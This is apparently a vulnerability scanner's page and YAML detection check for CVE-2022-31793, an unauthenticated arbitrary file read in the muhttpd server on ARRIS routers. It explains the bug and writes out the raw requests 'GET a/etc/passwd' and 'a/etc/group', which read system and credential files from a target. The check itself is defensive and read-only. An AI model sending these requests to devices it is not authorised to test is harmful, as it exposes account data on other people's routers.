ARRIS — 1 vulnerability check

noctis ships 1 vulnerability check for ARRIS, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

ARRIS Routers muhttpd Arbitrary File Read

CVECVE-2022-31793
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, tcp_connect, match, script · highest QoD 75
Feedtests/vulnerabilities/arris/CVE-2022-31793.yaml

Tests ARRIS NVG/BGW gateways (and other muhttpd < 1.1.7 servers) for the unauthenticated arbitrary file read caused by muhttpd stripping the first character of a request URI that does not start with '/'. A GET for `a/etc/passwd` (fallback `a/etc/group`) must return the file's root entry, and the same request for an absent file in a random missing directory must get an HTTP reply without one, so a server that answers every path with the same file is not reported. Read-only; password fields are never copied into the finding. QoD 75.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET a/etc/passwd HTTP/1.0
  2. Checks passwd_resp.banner for (?m)^HTTP/1\.[01] 200[\s\S]*?^(root):[^:\r\n]*:0:0:
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET a/etc/group HTTP/1.0
  4. Checks group_resp.banner for (?m)^HTTP/1\.[01] 200[\s\S]*?^(root):[^:\r\n]*:0:
  5. Raw TCP (TLS on HTTPS), sent verbatim: GET a/noctis-absent-{{oob_token}}{{arris_leak}} HTTP/1.0
  6. Parses / computes the next value with a Rhai script
  7. Checks arris_leak for ^/etc/(passwd|group)$ → finding QoD 75: muhttpd arbitrary file read from the filesystem root (CVE-2022-31793)

References:

Feed source — tests/vulnerabilities/arris/CVE-2022-31793.yaml
# ARRIS routers (muhttpd < 1.1.7) — arbitrary file read from the filesystem root
# CVE-2022-31793
#
# muhttpd's do_request()/handle_request() decode the request URI into a
# filename and then stat()/open() &filename[1], i.e. they skip the first
# character, assuming it is the leading '/'. Before 1.1.7 nothing checked that
# the URI actually starts with '/', so a URI such as `a/etc/passwd` becomes the
# absolute path /etc/passwd and is served — no `..` needed, so the path
# sanitiser never fires. Fixed in muhttpd 1.1.7 (commit "Fix path traversal from
# the filesystem root"), which answers 501 to any URI not starting with '/'.
# Affected: ARRIS NVG443/NVG599/NVG589/NVG510 and the ARRIS-derived AT&T
# BGW210/BGW320 gateways, plus any other device embedding muhttpd < 1.1.7.
#
# Detection (read-only): request `a/etc/passwd` verbatim (tcp_connect + raw
# HTTP/1.0 — an HTTP client would prepend '/' and defeat the bug) and require a
# real passwd root entry (`root:<pw>:0:0:`). If passwd is not readable (e.g. a
# chrooted build), fall back to `a/etc/group` (`root:<pw>:0:`).
#
# Absent-file control: once a file is read, the same request is sent for an
# absent file (`a/noctis-absent-<random>/etc/<file>`, same file name at the
# end) and the finding is raised only when that control gets an HTTP reply
# without a root entry (muhttpd answers 404) — a server returning passwd for
# every path is not reported. Fails closed when the control gets no reply.
#
# Better than the source NASL: the NASL reports the full raw response, which on
# these gateways can include password hashes from /etc/passwd. Here the match
# steps only capture the account name and the finding is built from a fixed
# summary, so no password field from the target reaches the finding. The
# /etc/group fallback also catches builds where passwd is missing.
#
# Ported from OpenVAS/Greenbone NVT 2022/arris/gb_arris_info_discl_vuln_jun22_active.nasl
# (GPL-2.0-only) — same `a/<file>` request and passwd pattern.
uid: 50207e8d-7394-40b2-9f4b-0bb0f5e8ca00
name: "ARRIS Routers muhttpd Arbitrary File Read (CVE-2022-31793)"
description: |
  Tests ARRIS NVG/BGW gateways (and other muhttpd < 1.1.7 servers) for the
  unauthenticated arbitrary file read caused by muhttpd stripping the first
  character of a request URI that does not start with '/'. A GET for
  `a/etc/passwd` (fallback `a/etc/group`) must return the file's root entry,
  and the same request for an absent file in a random missing directory must
  get an HTTP reply without one, so a server that answers every path with the
  same file is not reported. Read-only; password fields are never copied into
  the finding. QoD 75.
cves: [CVE-2022-31793]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [arris, muhttpd, router, file-read, path-traversal, unauthenticated]
category: file-read
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2022-31793"
  - "https://derekabdine.com/blog/2022-arris-advisory"
  - "https://inglorion.net/software/muhttpd/"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/network/cves/2022/CVE-2022-31793.yaml"
  - "OpenVAS/Greenbone NVT 2022/arris/gb_arris_info_discl_vuln_jun22_active.nasl (GPL-2.0-only)"

steps:
  - id: init
    action: set_var
    var_name: arris_leak
    var_value: "none"

  # ── /etc/passwd ────────────────────────────────────────────────────────────
  - id: read-passwd
    action: tcp_connect
    port: "{{port}}"
    send: "GET a/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: passwd_resp

  # Stores {matched, captures}; captures only the account name, never the
  # password field. No on_match: the finding is raised below from a summary.
  - id: passwd-root-entry
    action: match
    source: passwd_resp.banner
    pattern: "(?m)^HTTP/1\\.[01] 200[\\s\\S]*?^(root):[^:\\r\\n]*:0:0:"
    store_as: passwd_m

  - id: passwd-verdict
    action: set_var
    condition: "passwd_m.matched == true"
    var_name: arris_leak
    var_value: "/etc/passwd"

  # ── /etc/group fallback ────────────────────────────────────────────────────
  - id: read-group
    action: tcp_connect
    condition: 'arris_leak == "none"'
    port: "{{port}}"
    send: "GET a/etc/group HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: group_resp

  - id: group-root-entry
    action: match
    condition: 'arris_leak == "none"'
    source: group_resp.banner
    pattern: "(?m)^HTTP/1\\.[01] 200[\\s\\S]*?^(root):[^:\\r\\n]*:0:"
    store_as: group_m

  - id: group-verdict
    action: set_var
    condition: 'arris_leak == "none" && group_m.matched == true'
    var_name: arris_leak
    var_value: "/etc/group"

  # ── Control: same request shape, absent file ────────────────────────────────
  # A random missing directory, still ending in the file that was read, so a
  # honeypot keyed on that file name answers it too.
  - id: init-ctrl-resp
    action: set_var
    var_name: ctrl_resp
    var_value: {connected: false, banner: ""}

  - id: init-ctrl-clean
    action: set_var
    var_name: ctrl_clean
    var_value: false

  - id: read-control
    action: tcp_connect
    condition: 'arris_leak != "none"'
    port: "{{port}}"
    send: "GET a/noctis-absent-{{oob_token}}{{arris_leak}} HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: ctrl_resp

  # Fail closed: the control must have answered over HTTP, without a root entry.
  - id: control-verdict
    action: script
    condition: 'arris_leak != "none"'
    code: |
      let b = ctrl_resp.banner;
      type_of(b) == "string" && ereg("^HTTP/1\\.[01] [0-9]{3}", b) && !ereg("(?m)^root:[^:\\r\\n]*:0:", b)
    store_as: ctrl_clean

  # ── Finding (source is our own summary, not the target's file) ─────────────
  - id: confirm-file-read
    action: match
    source: arris_leak
    pattern: "^/etc/(passwd|group)$"
    condition: "ctrl_clean == true"
    on_match:
      finding:
        title: "muhttpd arbitrary file read from the filesystem root (CVE-2022-31793)"
        description: "A request URI without a leading '/' (a/<path>) made muhttpd serve an absolute filesystem path: the root account entry of {{arris_leak}} was returned unauthenticated (muhttpd < 1.1.7, ARRIS NVG/BGW gateways), while the same request for an absent file returned no file content."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET a{{arris_leak}} returned {{arris_leak}} with its root:…:0: entry; a/noctis-absent-…{{arris_leak}} did not (file content and password fields not recorded)"
      stop: true

View these feeds on GitHub